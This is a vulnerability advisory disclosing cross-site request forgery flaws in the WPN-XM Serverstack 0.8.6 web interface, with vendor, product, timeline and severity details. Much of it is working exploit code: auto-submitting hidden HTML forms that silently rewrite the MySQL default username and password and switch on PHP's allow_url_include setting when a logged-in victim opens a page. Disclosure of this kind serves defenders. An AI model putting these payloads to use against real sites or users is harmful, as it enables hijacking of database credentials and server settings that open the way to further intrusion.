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WPN-XM Serverstack v0.8.6 CSRF - MySQL / PHP.INI Hijacking



[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/WPNXM-CSRF.txt




Vendor:
===========
wpn-xm.org



Product:
==============================================
WPN-XM Serverstack for Windows - Version 0.8.6 

WPN-XM is a free and open-source web server solution stack for professional PHP development on the Windows platform.


Vulnerability Type:
================================
CSRF - MySQL / PHP.INI Hijacking



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

WPN-XMs webinterface is prone to multiple CSRF entry points allowing remote attackers to compromise an authenticated user if they visit
a malicious webpage or click an attacker supplied link. Attackers can modify the 'PHP.INI' file to change arbitrary PHPs settings
like enable 'allow_url_include' or changing the default MySQL username & password settings etc...


Exploit code(s):
===============


1) Hijack MySQL Account Default Settings


<iframe name="ifrm" width="600" height="700" name="hidden-form"></iframe>


<form target="ifrm" id="CSRF-MySQL-Username" method="post" action="http://localhost/tools/webinterface/index.php?page=config&action=update-phpini-setting";>
<input type="hidden" name="page" value="config">
<input type="hidden" name="action" value="update-phpini-setting">
<input type="hidden" name="directive" value="mysql.default_user" />
<input type="hidden" name="value" value="hyp3rlinx" />
<script>document.getElementById('CSRF-MySQL-Username').submit()</script>
</form>

<form target="ifrm" id="CSRF-MySQL-PWD" method="post" action="http://localhost/tools/webinterface/index.php?page=config&action=update-phpini-setting";>
<input type="hidden" name="page" value="config">
<input type="hidden" name="action" value="update-phpini-setting">
<input type="hidden" name="directive" value="mysql.default_password">
<input type="hidden" name="value" value="PWNED!" />
<script>document.getElementById('CSRF-MySQL-PWD').submit()</script>
</form>


2)  Hijack PHP.INI Settings

<form id="CSRF-PHP-INI" method="post" action="http://localhost/tools/webinterface/index.php?page=config&action=update-phpini-setting";>
<input type="hidden" name="directive" value="allow_url_include" />
<input type="hidden" name="value" value="On" />
<script>document.getElementById('CSRF-PHP-INI').submit()</script>
</form>




Disclosure Timeline:
=====================================
Vendor Notification: No Reply
April 9, 2016 : Public Disclosure



Exploitation Technique:
=======================
Remote



Severity Level:
================
Medium


=================================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

hyp3rlinx